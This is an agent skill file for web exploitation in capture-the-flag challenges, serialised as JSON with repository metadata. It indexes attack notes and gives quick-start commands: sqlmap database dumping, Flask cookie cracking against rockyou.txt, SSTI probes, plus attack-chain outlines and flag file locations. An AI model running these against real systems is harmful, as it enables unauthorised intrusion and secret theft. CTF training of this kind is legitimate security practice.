bypass","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"auth-and-access.md","type":"text","marks":[{"type":"link","attrs":{"href":"auth-and-access.md","title":null}}]},{"text":" - Auth/authz bypasses, hidden endpoints, IDOR, redirect chains, subdomain takeover, AI chatbot jailbreaks","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"auth-and-access-2.md","type":"text","marks":[{"type":"link","attrs":{"href":"auth-and-access-2.md","title":null}}]},{"text":" - Part 2 (2018-era): ","type":"text"},{"text":"std::unordered_set","type":"text","marks":[{"type":"code_inline"}]},{"text":" bucket collision auth bypass, ","type":"text"},{"text":"nodeprep.prepare","type":"text","marks":[{"type":"code_inline"}]},{"text":" Unicode homograph username collision, SRP A=0/A=N auth bypass, ArangoDB AQL MERGE privilege escalation","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"auth-jwt.md","type":"text","marks":[{"type":"link","attrs":{"href":"auth-jwt.md","title":null}}]},{"text":" - JWT/JWE manipulation, weak secrets, header injection, key confusion, replay","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"auth-infra.md","type":"text","marks":[{"type":"link","attrs":{"href":"auth-infra.md","title":null}}]},{"text":" - OAuth/OIDC, SAML, CORS, CI/CD secrets, IdP abuse, login poisoning","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"node-and-prototype.md","type":"text","marks":[{"type":"link","attrs":{"href":"node-and-prototype.md","title":null}}]},{"text":" - Prototype pollution, JS sandbox escape, Node.js attack chains","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"web3.md","type":"text","marks":[{"type":"link","attrs":{"href":"web3.md","title":null}}]},{"text":" - Solidity and Web3 challenge notes","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"cves.md","type":"text","marks":[{"type":"link","attrs":{"href":"cves.md","title":null}}]},{"text":" - CVE-driven techniques you can match against challenge banners, headers, dependency leaks, or version strings","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"field-notes.md","type":"text","marks":[{"type":"link","attrs":{"href":"field-notes.md","title":null}}]},{"text":" - Long-form exploit notes: quick references for SQLi, XSS, LFI, JWT, SSTI, SSRF, command injection, XXE, deserialization, race conditions, auth bypass, and multi-stage chains","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"When to Pivot","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"If the target is a native binary, custom VM, or firmware image, switch to ","type":"text"},{"text":"/ctf-reverse","type":"text","marks":[{"type":"code_inline"}]},{"text":" first.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"If the HTTP bug only gives you code execution and the hard part becomes memory corruption or seccomp escape, switch to ","type":"text"},{"text":"/ctf-pwn","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"If the \"web\" challenge really turns on JWT math, custom MACs, or crypto primitives, switch to ","type":"text"},{"text":"/ctf-crypto","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"If the web challenge involves analyzing logs, PCAPs, or recovering artifacts from a web server, switch to ","type":"text"},{"text":"/ctf-forensics","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"If the challenge requires gathering intelligence from public web sources, DNS records, or social media before exploitation, switch to ","type":"text"},{"text":"/ctf-osint","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"First-Pass Workflow","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Identify the real boundary: browser only, backend only, mixed app, or auth flow.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Capture one normal request/response pair for every major feature before fuzzing.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Enumerate hidden functionality from JS bundles, response headers, routes, and alternate methods.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Classify the likely bug family: injection, authz, parser mismatch, upload, trust proxy, state machine, or client-side execution.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Build the smallest proof first: leak, bypass, or primitive. Save full exploit chaining for later.","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Quick Start Commands","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Recon\ncurl -sI https://target.com\nffuf -u https://target.com/FUZZ -w wordlist.txt\ncurl -s https://target.com/robots.txt\n\n# SQLi quick test\nsqlmap -u \"https://target.com/page?id=1\" --batch --dbs\n\n# JWT decode (no verification)\necho '\u003ctoken>' | cut -d. -f2 | base64 -d 2>/dev/null | jq .\n\n# Cookie decode (Flask)\nflask-unsign --decode --cookie '\u003ccookie>'\nflask-unsign --unsign --cookie '\u003ccookie>' --wordlist rockyou.txt\n\n# SSTI probes\ncurl \"https://target.com/page?name={{7*7}}\"\ncurl \"https://target.com/page?name={{config}}\"\n\n# Request inspection\ncurl -v -X POST https://target.com/api -H \"Content-Type: application/json\" -d '{}'","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"First Questions to Answer","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Is the flag likely in the browser, an API response, a local file, a database row, or an internal service?","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Does the app trust user-controlled data in templates, redirects, file paths, headers, serialized objects, or background jobs?","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Are there multiple parsers disagreeing with each other: proxy vs app, URL parser vs fetcher, sanitizer vs browser, serializer vs filter?","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Can you turn the bug into a smaller primitive first: read one file, forge one token, call one internal endpoint, trigger one bot visit?","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"High-Value Recon Checks","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Read the HTML, inline scripts, and bundled JS before guessing the API surface.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Compare what the UI submits with what the backend accepts; optional JSON fields often unlock hidden paths.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Check obvious metadata and helper paths early: ","type":"text"},{"text":"/robots.txt","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"/sitemap.xml","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"/.well-known/","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"/admin","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"/debug","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"/.git/","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"/.env","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Try alternate verbs and content types on interesting routes: ","type":"text"},{"text":"GET","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"POST","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"PUT","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"PATCH","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"TRACE","type":"text","marks":[{"type":"code_inline"}]},{"text":", JSON, form, multipart, XML.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Treat file upload, PDF/export, webhook, OAuth callback, and admin bot features as likely exploit multipliers.","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Fast Pattern Map","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"SQL errors, odd filtering, or state-dependent DB behavior: start with ","type":"text"},{"text":"sql-injection.md","type":"text","marks":[{"type":"link","attrs":{"href":"sql-injection.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Templating, file reads, SSRF, command execution, XML, or parser bugs: start with ","type":"text"},{"text":"server-side.md","type":"text","marks":[{"type":"link","attrs":{"href":"server-side.md","title":null}}]},{"text":" and ","type":"text"},{"text":"server-side-exec.md","type":"text","marks":[{"type":"link","attrs":{"href":"server-side-exec.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"XSS, CSP bypass, admin bot, client routing, DOM issues, or scriptless exfiltration: start with ","type":"text"},{"text":"client-side.md","type":"text","marks":[{"type":"link","attrs":{"href":"client-side.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Session forgery, hidden admin routes, JWT, OAuth, SAML, or weak trust boundaries: start with ","type":"text"},{"text":"auth-and-access.md","type":"text","marks":[{"type":"link","attrs":{"href":"auth-and-access.md","title":null}}]},{"text":", ","type":"text"},{"text":"auth-jwt.md","type":"text","marks":[{"type":"link","attrs":{"href":"auth-jwt.md","title":null}}]},{"text":", and ","type":"text"},{"text":"auth-infra.md","type":"text","marks":[{"type":"link","attrs":{"href":"auth-infra.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Node.js apps, prototype pollution, VM sandboxes, or SSRF into internal services: add ","type":"text"},{"text":"node-and-prototype.md","type":"text","marks":[{"type":"link","attrs":{"href":"node-and-prototype.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Smart contract frontends or blockchain-integrated apps: add ","type":"text"},{"text":"web3.md","type":"text","marks":[{"type":"link","attrs":{"href":"web3.md","title":null}}]},{"text":".","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Common Chain Shapes","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Recon -> hidden route -> auth bypass -> internal file read -> token or flag","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"XSS or HTML injection -> admin bot -> privileged action -> secret leak","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Traversal or upload -> config/source leak -> secret recovery -> session forgery","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"SSRF -> metadata or internal API -> credential leak -> code execution","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"SQLi or NoSQL injection -> credential bypass -> second-stage template or upload abuse","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Deep-Dive Notes","type":"text"}]},{"type":"paragraph","content":[{"text":"Use ","type":"text"},{"text":"field-notes.md","type":"text","marks":[{"type":"link","attrs":{"href":"field-notes.md","title":null}}]},{"text":" once you have confirmed the challenge is truly web-heavy and you need the long exploit catalog.","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Recon, SQLi, XSS, traversal, JWT, SSTI, SSRF, XXE, and command injection quick notes","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Deserialization, race conditions, file upload to RCE, and multi-stage chain examples","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Node, OAuth/SAML, CI/CD, Web3, bot abuse, CSP bypasses, and modern browser tricks","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"CVE-shaped playbooks and older challenge patterns that still show up in modern CTFs","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Common Flag Locations","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Files: ","type":"text"},{"text":"/flag.txt","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"/flag","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"/app/flag.txt","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"/home/*/flag*","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Environment: ","type":"text"},{"text":"/proc/self/environ","type":"text","marks":[{"type":"code_inline"}]},{"text":", process command line, debug config dumps","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Database: tables named ","type":"text"},{"text":"flag","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"flags","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"secret","type":"text","marks":[{"type":"code_inline"}]},{"text":", or seeded challenge content","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"HTTP: custom headers, archived responses, hidden routes, admin exports","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Browser: hidden DOM nodes, ","type":"text"},{"text":"data-*","type":"text","marks":[{"type":"code_inline"}]},{"text":" attributes, inline state objects, source maps","type":"text"}]}]}]},{"type":"hr","attrs":{"markup":"---"}}]},"metadata":{"date":"2026-06-05","name":"ctf-web","author":"@skillopedia","source":{"stars":2252,"repo_name":"ctf-skills","origin_url":"https://github.com/ljagiello/ctf-skills/blob/HEAD/ctf-web/SKILL.md","repo_owner":"ljagiello","body_sha256":"15765210083d10da24fad5fb53c2335dc3cfb2db604e07570a244b5cb2d6c343","cluster_key":"6eed29c564e7843593cfeac657cf42e0860aeedc9fbf09084b39507a48ce0483","clean_bundle":{"format":"clean-skill-bundle-v1","source":"ljagiello/ctf-skills/ctf-web/SKILL.md","attachments":[{"id":"3e59e491-221b-508b-8052-0f007ac736a8","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/3e59e491-221b-508b-8052-0f007ac736a8/attachment.md","path":"auth-and-access-2.md","size":5200,"sha256":"24e93275084ccaeea6210542b6209c44577049133c3232b8ea929feb7812252e","contentType":"text/markdown; charset=utf-8"},{"id":"d5afc15c-35e0-587f-937b-bd689dbdb0f3","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/d5afc15c-35e0-587f-937b-bd689dbdb0f3/attachment.md","path":"auth-and-access.md","size":35533,"sha256":"a7595a88837c016003ed0d6524eaa235fe4b17a78e732cdcf71263b5a7b5d85f","contentType":"text/markdown; charset=utf-8"},{"id":"419c60ba-e73b-56e3-b6c7-2f9d2107d24c","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/419c60ba-e73b-56e3-b6c7-2f9d2107d24c/attachment.md","path":"auth-infra.md","size":14438,"sha256":"e8ba4a113772dbde018323c36acf3a9c9dc7861d4f096138880d83219ed3fc9c","contentType":"text/markdown; charset=utf-8"},{"id":"baa755f9-bd9b-5375-a6fa-7975db16d629","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/baa755f9-bd9b-5375-a6fa-7975db16d629/attachment.md","path":"auth-jwt.md","size":8918,"sha256":"2e3d1b74646356830354f0023b43f60cb9777347c50c6d1ee7b2b5664e98d9cd","contentType":"text/markdown; charset=utf-8"},{"id":"800ecaed-307d-575a-bd0e-bf3c3d9542b0","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/800ecaed-307d-575a-bd0e-bf3c3d9542b0/attachment.md","path":"client-side-advanced.md","size":37895,"sha256":"d6dc8885a8d4aa436e1d07a44438df0744c7c119ffe7ea2c46e4246c9e94d479","contentType":"text/markdown; charset=utf-8"},{"id":"0afc6710-2a61-596a-a458-802f709e736a","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/0afc6710-2a61-596a-a458-802f709e736a/attachment.md","path":"client-side.md","size":22068,"sha256":"0d7aa7b2c7b3eca7c4e1fffb71b4bbae107ca5523b6c4e447570154a29b501c5","contentType":"text/markdown; charset=utf-8"},{"id":"acf068bc-fd1c-5f4d-80e4-c1ee667a4c14","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/acf068bc-fd1c-5f4d-80e4-c1ee667a4c14/attachment.md","path":"cves.md","size":16014,"sha256":"64aeeaa1cff5c9709e159e1e2e6b1aa8ed42d557903660911eafee1131dfefa1","contentType":"text/markdown; charset=utf-8"},{"id":"c3589ed1-966b-559f-b425-a7d4f9f7086f","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/c3589ed1-966b-559f-b425-a7d4f9f7086f/attachment.md","path":"field-notes.md","size":35879,"sha256":"c37710ebc89fb9140016908e26a57fd7732e1bcd8756c677b8b64b085da417a0","contentType":"text/markdown; charset=utf-8"},{"id":"c6fd1758-5feb-5ccc-88c0-33ee3bdb7f21","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/c6fd1758-5feb-5ccc-88c0-33ee3bdb7f21/attachment.md","path":"node-and-prototype.md","size":6842,"sha256":"6f11446630103706b35d05270a16653a57cc1ce3f906df630674653a79f6d976","contentType":"text/markdown; charset=utf-8"},{"id":"2231c3d9-30cd-567f-a432-59a3a29264af","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/2231c3d9-30cd-567f-a432-59a3a29264af/attachment.md","path":"server-side-2.md","size":15855,"sha256":"ce0eb122074072478a42105c81d4f6df2b67e2ebd65f6b184924a633795dc42f","contentType":"text/markdown; charset=utf-8"},{"id":"27c1b918-0c8e-5b61-a978-9e2f7b13921f","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/27c1b918-0c8e-5b61-a978-9e2f7b13921f/attachment.md","path":"server-side-advanced-2.md","size":26297,"sha256":"0089fc8baaec73144eda29d52a4e35945d8d76ea33f8befd26238528f25edc4a","contentType":"text/markdown; charset=utf-8"},{"id":"c4cb4259-9673-5698-a2c8-ff441f0ec20a","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/c4cb4259-9673-5698-a2c8-ff441f0ec20a/attachment.md","path":"server-side-advanced-3.md","size":7099,"sha256":"c123ef5df7196da750f9eb2538c406eab03933732ae7dccb657a24710f12e867","contentType":"text/markdown; charset=utf-8"},{"id":"04b3c51a-dbde-5223-b827-9b7ffa2f2f41","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/04b3c51a-dbde-5223-b827-9b7ffa2f2f41/attachment.md","path":"server-side-advanced-4.md","size":22250,"sha256":"11aa3d4ac279117dcc9b0b97a741a98dc365b37e68ed276afe7d288dfe8225ff","contentType":"text/markdown; charset=utf-8"},{"id":"4274bda7-70dc-5d5c-b440-361583438409","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/4274bda7-70dc-5d5c-b440-361583438409/attachment.md","path":"server-side-advanced.md","size":16184,"sha256":"a91041527bc3c9b03f8089cfd65fb45b943a1271c8491876953d16dc61e616cd","contentType":"text/markdown; charset=utf-8"},{"id":"3123c423-94d6-5161-8573-b44930fcd130","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/3123c423-94d6-5161-8573-b44930fcd130/attachment.md","path":"server-side-deser.md","size":22411,"sha256":"483d30757b441c6dea9bceb940efd5cbc2c3c324d0efda242a46b30f7e2c3d3b","contentType":"text/markdown; charset=utf-8"},{"id":"c5aba3aa-f897-5b64-9108-61fcfd76ccca","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/c5aba3aa-f897-5b64-9108-61fcfd76ccca/attachment.md","path":"server-side-exec-2.md","size":39536,"sha256":"ece194a62fa077c933cc6cc83b46dc143eb1b97b4de22f7db80e8d70b7abe3d7","contentType":"text/markdown; charset=utf-8"},{"id":"74968add-bee6-5d08-92d8-83434cd437ea","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/74968add-bee6-5d08-92d8-83434cd437ea/attachment.md","path":"server-side-exec.md","size":21998,"sha256":"b95360a2a18b0f484d0d18ad31c703a11ded5a2f049e6e3a521579298f9c83b0","contentType":"text/markdown; charset=utf-8"},{"id":"233525f7-f8f4-5cb7-aecf-cf44810909de","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/233525f7-f8f4-5cb7-aecf-cf44810909de/attachment.md","path":"server-side.md","size":30125,"sha256":"2fb3a9245a5dc3b317f3e96b0c21a23c4717dc12c95e7cf6e185bb1e7b4a7b98","contentType":"text/markdown; charset=utf-8"},{"id":"6b8847ba-d6f3-506d-8e43-47fa2d15c6bb","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/6b8847ba-d6f3-506d-8e43-47fa2d15c6bb/attachment.md","path":"sql-injection.md","size":38723,"sha256":"7c9857aa0e2bcf21f765f4314821b1cc5e1c51cbe816c168b9741608eb1e7ae2","contentType":"text/markdown; charset=utf-8"},{"id":"8b8f0731-59c8-5f11-b2a6-f62728f0bdcc","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/8b8f0731-59c8-5f11-b2a6-f62728f0bdcc/attachment.md","path":"web3.md","size":15870,"sha256":"feb9fd8a498a14c413a7673c7d9dad8c690866096053f28d5a6b7315f9b9a0dd","contentType":"text/markdown; charset=utf-8"}],"bundle_sha256":"03456190caa35a954d3ecd6255a62f2a04c4323c5d6c39f8ac02b090e92e5cce","attachment_count":20,"text_attachments":20,"attachment_storage":"skillopedia-attachments-v1","binary_attachments":0,"excluded_attachments":[]},"cluster_size":1,"skill_md_path":"ctf-web/SKILL.md","import_metadata":{"date":"2026-06-05","author":"@skillopedia","version":"v1","category":"security","category_label":"Security"},"exact_dupes_collapsed_into_this":0},"license":"MIT","version":"v1","category":"security","metadata":{"user-invocable":"false"},"import_tag":"clean-skills-v1","description":"Provides web exploitation techniques for CTF challenges. Use when the target is primarily an HTTP application, API, browser client, template engine, identity flow, or smart-contract frontend/backend surface, including XSS, SQLi, SSTI, SSRF, XXE, JWT, auth bypass, file upload, request smuggling, OAuth/OIDC, SAML, prototype pollution, and similar web bugs. Do not use it for native binary memory corruption, reverse engineering of standalone executables, disk or memory forensics, or pure cryptanalysis unless the web flaw is still the main path to the flag.","allowed-tools":"Bash Read Write Edit Glob Grep Task WebFetch WebSearch","compatibility":"Requires filesystem-based agent (Claude Code or similar) with bash, Python 3, and internet access for tool installation."}},"renderedAt":1782987135776}

CTF Web Exploitation Use this skill as a routing and execution guide for web-heavy challenges. Keep the first pass short: map the app, confirm the trust boundary, and only then dive into the detailed technique notes. Prerequisites Python packages (all platforms): Linux (apt): macOS (Homebrew): Go tools (all platforms, requires Go): Manual install: - ysoserial — GitHub, requires Java (Java deserialization payloads) Additional Resources - sql-injection.md - SQL injection techniques: auth bypass, UNION extraction, filter bypasses, second-order SQLi, truncation, race-assisted leaks, INSERT ON DUP…